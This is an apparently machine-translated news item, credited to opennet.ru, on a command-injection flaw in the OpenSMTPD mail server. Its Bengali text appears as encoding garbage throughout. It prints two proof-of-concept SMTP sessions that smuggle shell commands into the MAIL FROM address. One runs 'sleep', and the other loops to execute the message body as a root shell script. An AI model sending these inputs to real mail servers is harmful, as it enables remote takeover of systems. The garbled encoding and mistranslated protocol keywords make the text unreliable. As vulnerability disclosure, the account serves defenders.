āĻāĻĒā§āĻ¨āĻŦāĻŋāĻāĻ¸āĻĄāĻŋ āĻĒā§āĻ°āĻā§āĻā§āĻ āĻĻā§āĻŦāĻžāĻ°āĻž āĻĄā§āĻā§āĻ˛āĻĒ āĻāĻ°āĻž āĻŽā§āĻ˛ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§
āĻĻā§āĻāĻŋ āĻāĻā§āĻ°āĻŽāĻŖ āĻŦāĻŋāĻāĻ˛ā§āĻĒ āĻĒā§āĻ°āĻ¸ā§āĻ¤āĻžāĻŦ āĻāĻ°āĻž āĻšāĻ¯āĻŧ. āĻĒā§āĻ°āĻĨāĻŽ āĻŦāĻŋāĻāĻ˛ā§āĻĒāĻāĻŋ āĻĄāĻŋāĻĢāĻ˛ā§āĻ OpenSMTPD āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ°ā§āĻļāĻ¨ā§ āĻāĻžāĻ āĻāĻ°ā§ (āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻ˛ā§āĻāĻžāĻ˛āĻšā§āĻ¸ā§āĻ āĻĨā§āĻā§ āĻ āĻ¨ā§āĻ°ā§āĻ§ āĻā§āĻ°āĻšāĻŖ āĻāĻ°āĻž) āĻāĻŦāĻ āĻāĻĒāĻ¨āĻžāĻā§ āĻ¸ā§āĻĨāĻžāĻ¨ā§āĻ¯āĻŧāĻāĻžāĻŦā§ āĻ¸āĻŽāĻ¸ā§āĻ¯āĻžāĻāĻŋ āĻāĻžāĻā§ āĻ˛āĻžāĻāĻžāĻ¤ā§ āĻĻā§āĻ¯āĻŧ, āĻ¯āĻāĻ¨ āĻāĻā§āĻ°āĻŽāĻŖāĻāĻžāĻ°ā§ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§ āĻ¸ā§āĻĨāĻžāĻ¨ā§āĻ¯āĻŧ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻāĻ¨ā§āĻāĻžāĻ°āĻĢā§āĻ¸ (āĻ˛ā§āĻĒāĻŦā§āĻ¯āĻžāĻ) āĻ ā§āĻ¯āĻžāĻā§āĻ¸ā§āĻ¸ āĻāĻ°āĻ¤ā§ āĻ¸āĻā§āĻˇāĻŽ āĻšāĻ¯āĻŧ (āĻāĻĻāĻžāĻšāĻ°āĻŖāĻ¸ā§āĻŦāĻ°ā§āĻĒ, āĻšā§āĻ¸ā§āĻāĻŋāĻ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽā§) . āĻĻā§āĻŦāĻŋāĻ¤ā§āĻ¯āĻŧ āĻŦāĻŋāĻāĻ˛ā§āĻĒāĻāĻŋ āĻāĻā§ āĻ¯āĻāĻ¨ OpenSMTPD āĻŦāĻšāĻŋāĻ°āĻžāĻāĻ¤ āĻ¨ā§āĻāĻāĻ¯āĻŧāĻžāĻ°ā§āĻ āĻ āĻ¨ā§āĻ°ā§āĻ§āĻā§āĻ˛āĻŋ āĻā§āĻ°āĻšāĻŖ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻ¨āĻĢāĻŋāĻāĻžāĻ° āĻāĻ°āĻž āĻšāĻ¯āĻŧ (āĻāĻāĻāĻŋ āĻŽā§āĻ˛ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ° āĻ¯āĻž āĻ¤ā§āĻ¤ā§āĻ¯āĻŧ āĻĒāĻā§āĻˇā§āĻ° āĻŽā§āĻ˛ āĻā§āĻ°āĻšāĻŖ āĻāĻ°ā§)āĨ¤ āĻāĻŦā§āĻˇāĻāĻ°āĻž āĻāĻāĻāĻŋ āĻļā§āĻˇāĻŖā§āĻ° āĻāĻāĻāĻŋ āĻĒā§āĻ°ā§āĻā§āĻāĻžāĻāĻĒ āĻĒā§āĻ°āĻ¸ā§āĻ¤ā§āĻ¤ āĻāĻ°ā§āĻā§āĻ¨ āĻ¯āĻž OpenBSD 6.6-āĻ āĻ āĻ¨ā§āĻ¤āĻ°ā§āĻā§āĻā§āĻ¤ OpenSMTPD āĻ¸āĻāĻ¸ā§āĻāĻ°āĻŖ āĻāĻŦāĻ āĻ āĻ¨ā§āĻ¯āĻžāĻ¨ā§āĻ¯ āĻ āĻĒāĻžāĻ°ā§āĻāĻŋāĻ āĻ¸āĻŋāĻ¸ā§āĻā§āĻŽā§āĻ° āĻāĻ¨ā§āĻ¯ āĻāĻāĻāĻŋ āĻĒā§āĻ°ā§āĻā§āĻŦāĻ˛ āĻ¸āĻāĻ¸ā§āĻāĻ°āĻŖ (āĻĄā§āĻŦāĻŋāĻ¯āĻŧāĻžāĻ¨ āĻā§āĻ¸ā§āĻāĻŋāĻ-āĻ āĻĒāĻ°āĻŋāĻāĻžāĻ˛āĻŋāĻ¤) āĻāĻāĻ¯āĻŧā§āĻ° āĻ¸āĻžāĻĨā§āĻ āĻ¸āĻĢāĻ˛āĻāĻžāĻŦā§ āĻāĻžāĻ āĻāĻ°ā§āĨ¤
āĻ¸āĻŽāĻ¸ā§āĻ¯āĻžāĻāĻŋ smtp_mailaddr() āĻĢāĻžāĻāĻļāĻ¨ā§ āĻāĻāĻāĻŋ āĻ¤ā§āĻ°ā§āĻāĻŋāĻ° āĻāĻžāĻ°āĻŖā§ āĻšāĻ¯āĻŧā§āĻā§, āĻ¯āĻž "āĻŽā§āĻāĻ˛ āĻĨā§āĻā§" āĻāĻŦāĻ "RCPT TO" āĻā§āĻˇā§āĻ¤ā§āĻ°ā§āĻ° āĻŽāĻžāĻ¨āĻā§āĻ˛āĻŋāĻ° āĻ¸āĻ āĻŋāĻāĻ¤āĻž āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°āĻ¤ā§ āĻŦāĻ˛āĻž āĻšāĻ¯āĻŧ āĻ¯āĻž āĻĒā§āĻ°ā§āĻ°āĻ/āĻĒā§āĻ°āĻžāĻĒāĻāĻā§ āĻ¸āĻāĻā§āĻāĻžāĻ¯āĻŧāĻŋāĻ¤ āĻāĻ°ā§ āĻāĻŦāĻ āĻ¸āĻāĻ¯ā§āĻā§āĻ° āĻ¸āĻŽāĻ¯āĻŧ āĻĒāĻžāĻ¸ āĻāĻ°āĻž āĻšāĻ¯āĻŧ āĻŽā§āĻāĻ˛ āĻ¸āĻžāĻ°ā§āĻāĻžāĻ°ā§āĻ° āĻ¸āĻžāĻĨā§āĨ¤ â@â āĻāĻŋāĻšā§āĻ¨ā§āĻ° āĻāĻā§ āĻ¯ā§ āĻāĻŽā§āĻ˛ āĻ āĻŋāĻāĻžāĻ¨āĻžāĻ° āĻ
āĻāĻļāĻāĻŋ āĻāĻ¸ā§ āĻ¤āĻž āĻĒāĻ°ā§āĻā§āĻˇāĻž āĻāĻ°āĻ¤ā§, smtp_mailaddr() āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋāĻā§ āĻŦāĻ˛āĻž āĻšāĻ¯āĻŧ
valid_localpart(), āĻ¯āĻž (MAILADDR_ALLOWED) āĻ
āĻā§āĻˇāĻ°āĻā§āĻ˛āĻŋāĻā§ āĻā§āĻ°āĻšāĻŖ āĻāĻ°ā§ "!#$%&'*/?^`{|}~+-=_", āĻ¯āĻž RFC 5322 āĻĻā§āĻŦāĻžāĻ°āĻž āĻĒā§āĻ°āĻ¯āĻŧā§āĻāĻ¨āĨ¤
āĻāĻ āĻā§āĻˇā§āĻ¤ā§āĻ°ā§, mda_expand_token() āĻĢāĻžāĻāĻļāĻ¨ā§ āĻ¸ā§āĻā§āĻ°āĻŋāĻāĻāĻŋāĻ° āĻ¸āĻ°āĻžāĻ¸āĻ°āĻŋ āĻāĻ¸ā§āĻā§āĻĒāĻŋāĻ āĻ¸āĻā§āĻāĻžāĻ˛āĻŋāĻ¤ āĻšāĻ¯āĻŧ, āĻ¯āĻž āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° â!#$%&'*?`{|}~â (MAILADDR_ESCAPE) āĻ āĻā§āĻˇāĻ° āĻĒā§āĻ°āĻ¤āĻŋāĻ¸ā§āĻĨāĻžāĻĒāĻ¨ āĻāĻ°ā§āĨ¤ āĻĒāĻ°āĻŦāĻ°ā§āĻ¤ā§āĻāĻžāĻ˛ā§, 'execle("/bin/sh", "/bin/sh", "-c", mda_command,...' āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°ā§ āĻĄā§āĻ˛āĻŋāĻāĻžāĻ°āĻŋ āĻāĻā§āĻ¨ā§āĻāĻā§ (MDA) āĻāĻ˛ āĻāĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ mda_expand_token() āĻ āĻĒā§āĻ°āĻ¸ā§āĻ¤ā§āĻ¤ āĻ˛āĻžāĻāĻ¨āĻāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻž āĻšāĻ¯āĻŧāĨ¤ /bin/sh āĻāĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ mbox-āĻ āĻ āĻā§āĻˇāĻ° āĻ°āĻžāĻāĻžāĻ° āĻā§āĻˇā§āĻ¤ā§āĻ°ā§, āĻ˛āĻžāĻāĻ¨ â/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}â āĻāĻžāĻ˛ā§ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻ¯ā§āĻāĻžāĻ¨ā§ āĻŽāĻžāĻ¨ â% {mbox.from}â-āĻ "āĻŽā§āĻāĻ˛ āĻĨā§āĻā§ āĻĒāĻžāĻ āĻžāĻ¨ā§" āĻĒā§āĻ¯āĻžāĻ°āĻžāĻŽāĻŋāĻāĻžāĻ° āĻĨā§āĻā§ āĻĒāĻžāĻ˛āĻžāĻ¨ā§ āĻĄā§āĻāĻž āĻ āĻ¨ā§āĻ¤āĻ°ā§āĻā§āĻā§āĻ¤āĨ¤
āĻĻā§āĻ°ā§āĻŦāĻ˛āĻ¤āĻžāĻ° āĻ¸āĻžāĻ°āĻŽāĻ°ā§āĻŽ āĻšāĻ˛ āĻ¯ā§ smtp_mailaddr() āĻāĻ° āĻāĻāĻāĻŋ āĻ¯ā§āĻā§āĻ¤āĻŋāĻ āĻ¤ā§āĻ°ā§āĻāĻŋ āĻ°āĻ¯āĻŧā§āĻā§, āĻ¯āĻžāĻ° āĻāĻžāĻ°āĻŖā§, āĻ¯āĻĻāĻŋ āĻāĻāĻāĻŋ āĻāĻžāĻ˛āĻŋ āĻĄā§āĻŽā§āĻ¨ āĻāĻŽā§āĻ˛ā§ āĻĒāĻžāĻ āĻžāĻ¨ā§ āĻšāĻ¯āĻŧ, āĻ¤āĻžāĻšāĻ˛ā§ āĻĢāĻžāĻāĻļāĻ¨āĻāĻŋ āĻāĻāĻāĻŋ āĻ¸āĻĢāĻ˛ āĻ¯āĻžāĻāĻžāĻāĻāĻ°āĻŖ āĻā§āĻĄ āĻĢā§āĻ°āĻ¤ āĻĻā§āĻ¯āĻŧ, āĻāĻŽāĻ¨āĻāĻŋ āĻ¯āĻĻāĻŋ āĻ āĻŋāĻāĻžāĻ¨āĻžāĻāĻŋāĻ° "@" āĻāĻ° āĻāĻā§āĻ° āĻ āĻāĻļā§ āĻ āĻŦā§āĻ§ āĻ āĻā§āĻˇāĻ° āĻĨāĻžāĻā§ . āĻāĻ°āĻ, āĻāĻāĻāĻŋ āĻ¸ā§āĻā§āĻ°āĻŋāĻ āĻĒā§āĻ°āĻ¸ā§āĻ¤ā§āĻ¤ āĻāĻ°āĻžāĻ° āĻ¸āĻŽāĻ¯āĻŧ, mda_expand_token() āĻĢāĻžāĻāĻļāĻ¨ āĻ¸āĻŽāĻ¸ā§āĻ¤ āĻ¸āĻŽā§āĻāĻžāĻŦā§āĻ¯ āĻļā§āĻ˛ āĻŦāĻŋāĻļā§āĻˇ āĻ āĻā§āĻˇāĻ°āĻā§āĻ˛āĻŋ āĻāĻĄāĻŧāĻŋāĻ¯āĻŧā§ āĻ¯āĻžāĻ¯āĻŧ āĻ¨āĻž, āĻ¤āĻŦā§ āĻāĻŽā§āĻ˛ āĻ āĻŋāĻāĻžāĻ¨āĻžāĻ¯āĻŧ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° āĻŦāĻŋāĻļā§āĻˇ āĻ āĻā§āĻˇāĻ°āĻā§āĻ˛āĻŋ āĻ āĻ¨ā§āĻŽā§āĻĻāĻŋāĻ¤ āĻšāĻ¯āĻŧāĨ¤ āĻ¸ā§āĻ¤āĻ°āĻžāĻ, āĻāĻĒāĻ¨āĻžāĻ° āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻāĻžāĻ˛āĻžāĻ¨ā§āĻ° āĻāĻ¨ā§āĻ¯, āĻāĻŽā§āĻ˛ā§āĻ° āĻ¸ā§āĻĨāĻžāĻ¨ā§āĻ¯āĻŧ āĻ āĻāĻļā§ ";" āĻāĻŋāĻšā§āĻ¨āĻāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻž āĻ¯āĻĨā§āĻˇā§āĻāĨ¤ āĻāĻŦāĻ āĻ¸ā§āĻĨāĻžāĻ¨, āĻ¯āĻž MAILADDR_ESCAPE āĻ¸ā§āĻā§ āĻ āĻ¨ā§āĻ¤āĻ°ā§āĻā§āĻā§āĻ¤ āĻ¨āĻ¯āĻŧ āĻāĻŦāĻ āĻāĻĄāĻŧāĻŋāĻ¯āĻŧā§ āĻ¯āĻžāĻāĻ¯āĻŧāĻž āĻšāĻ¯āĻŧ āĻ¨āĻžāĨ¤ āĻāĻĻāĻžāĻšāĻ°āĻŖ āĻ¸ā§āĻŦāĻ°ā§āĻĒ:
$nc 127.0.0.1 25
HELO professor.falken
āĻĨā§āĻā§ āĻŽā§āĻ˛:<;sleep 66;>
RCPT āĻĒā§āĻ°āĻ¤āĻŋ:
āĻ¤āĻĨā§āĻ¯
.
QUIT
āĻāĻ āĻ¸ā§āĻļāĻ¨ā§āĻ° āĻĒāĻ°ā§, OpenSMTPD, āĻ¯āĻāĻ¨ mbox-āĻ āĻŦāĻŋāĻ¤āĻ°āĻŖ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻ¤āĻāĻ¨ āĻļā§āĻ˛ā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻāĻžāĻ˛ā§ āĻāĻ°āĻŦā§
/usr/libexec/mail.local -f ;sleep 66; āĻŽā§āĻ˛
āĻāĻāĻ āĻ¸āĻŽāĻ¯āĻŧā§, āĻāĻā§āĻ°āĻŽāĻŖā§āĻ° āĻ¸āĻŽā§āĻāĻžāĻŦāĻ¨āĻž āĻāĻ āĻāĻžāĻ°āĻŖā§ āĻ¸ā§āĻŽāĻŋāĻ¤ āĻ¯ā§ āĻ āĻŋāĻāĻžāĻ¨āĻžāĻ° āĻ¸ā§āĻĨāĻžāĻ¨ā§āĻ¯āĻŧ āĻ āĻāĻļ 64āĻāĻŋ āĻ āĻā§āĻˇāĻ°ā§āĻ° āĻŦā§āĻļāĻŋ āĻšāĻ¤ā§ āĻĒāĻžāĻ°ā§ āĻ¨āĻž āĻāĻŦāĻ āĻŦāĻŋāĻļā§āĻˇ āĻ āĻā§āĻˇāĻ° '$' āĻāĻŦāĻ '|' āĻĒāĻžāĻ˛āĻžāĻ¨ā§āĻ° āĻ¸āĻŽāĻ¯āĻŧ ":" āĻĻāĻŋāĻ¯āĻŧā§ āĻĒā§āĻ°āĻ¤āĻŋāĻ¸ā§āĻĨāĻžāĻĒāĻŋāĻ¤ āĻšāĻ¯āĻŧāĨ¤ āĻāĻ āĻ¸ā§āĻŽāĻžāĻŦāĻĻā§āĻ§āĻ¤āĻž āĻŦāĻžāĻāĻĒāĻžāĻ¸ āĻāĻ°āĻžāĻ° āĻāĻ¨ā§āĻ¯, āĻāĻŽāĻ°āĻž āĻāĻ āĻ¸āĻ¤ā§āĻ¯āĻāĻŋ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻŋ āĻ¯ā§ /usr/libexec/mail.local āĻāĻ¨āĻĒā§āĻ āĻ¸ā§āĻā§āĻ°ā§āĻŽā§āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§ āĻāĻžāĻ˛āĻžāĻ¨ā§āĻ° āĻĒāĻ°ā§ āĻāĻŋāĻ āĻŋāĻ° āĻŽā§āĻ˛ āĻ āĻāĻļāĻāĻŋ āĻĒā§āĻ°ā§āĻ°āĻŖ āĻāĻ°āĻž āĻšāĻ¯āĻŧ, āĻ¯ā§āĻŽāĻ¨ āĻ āĻŋāĻāĻžāĻ¨āĻž āĻŽā§āĻ¯āĻžāĻ¨āĻŋāĻĒā§āĻ˛ā§āĻ āĻāĻ°ā§, āĻāĻĒāĻ¨āĻŋ āĻļā§āĻ§ā§āĻŽāĻžāĻ¤ā§āĻ° sh āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻāĻ¨ā§āĻāĻžāĻ°āĻĒā§āĻ°ā§āĻāĻžāĻ° āĻāĻžāĻ˛ā§ āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨ āĻāĻŦāĻ āĻāĻŋāĻ āĻŋāĻ° āĻŽā§āĻ˛ āĻ āĻāĻļāĻāĻŋāĻā§ āĻ¨āĻŋāĻ°ā§āĻĻā§āĻļā§āĻ° āĻ¸ā§āĻ āĻšāĻŋāĻ¸āĻžāĻŦā§ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻ¤ā§ āĻĒāĻžāĻ°ā§āĻ¨āĨ¤ āĻ¯ā§āĻšā§āĻ¤ā§ āĻĒāĻ°āĻŋāĻˇā§āĻŦāĻž SMTP āĻļāĻŋāĻ°ā§āĻ¨āĻžāĻŽāĻā§āĻ˛āĻŋ āĻāĻŋāĻ āĻŋāĻ° āĻļā§āĻ°ā§āĻ¤ā§ āĻ¨āĻŋāĻ°ā§āĻĻā§āĻļāĻŋāĻ¤ āĻšāĻ¯āĻŧā§āĻā§, āĻ¤āĻžāĻ āĻ¤āĻžāĻĻā§āĻ° āĻāĻĄāĻŧāĻŋāĻ¯āĻŧā§ āĻ¯āĻžāĻāĻ¯āĻŧāĻžāĻ° āĻāĻ¨ā§āĻ¯ āĻāĻāĻāĻŋ āĻ˛ā§āĻĒā§ read āĻāĻŽāĻžāĻ¨ā§āĻĄ āĻŦā§āĻ¯āĻŦāĻšāĻžāĻ° āĻāĻ°āĻžāĻ° āĻĒāĻ°āĻžāĻŽāĻ°ā§āĻļ āĻĻā§āĻāĻ¯āĻŧāĻž āĻšāĻā§āĻā§āĨ¤ āĻāĻāĻāĻŋ āĻāĻžāĻ āĻļā§āĻˇāĻŖ āĻāĻ āĻŽāĻ¤ āĻāĻŋāĻā§ āĻĻā§āĻāĻžāĻ¯āĻŧ:
$nc 192.168.56.143 25
HELO professor.falken
āĻĨā§āĻā§ āĻŽā§āĻāĻ˛ ââāĻāĻ°ā§āĻ¨:<;āĻāĻžāĻ°āĻŖ āĻāĻŽāĻŋ 0 1 2 3 4 5 6 7 8 9 abcd; āĻĒāĻĄāĻŧā§āĻ¨ r;done;sh;exit 0;>
RCPT āĻĒā§āĻ°āĻ¤āĻŋ:[āĻāĻŽā§āĻ˛ āĻ¸ā§āĻ°āĻā§āĻˇāĻŋāĻ¤]>
āĻ¤āĻĨā§āĻ¯
#0
#1
...
#d
āĻāĻŽāĻŋ WOPR-āĻāĻ° āĻāĻ¨ā§āĻ¯; āĻāĻ°āĻ¤ā§
echo -n "($i) " && id || āĻŦāĻŋāĻ°āĻ¤āĻŋ
āĻ¸āĻŽā§āĻĒāĻ¨ā§āĻ¨ > /root/x."`id -u`.""$$"
.
QUIT
āĻāĻ¤ā§āĻ¸: opennet.ru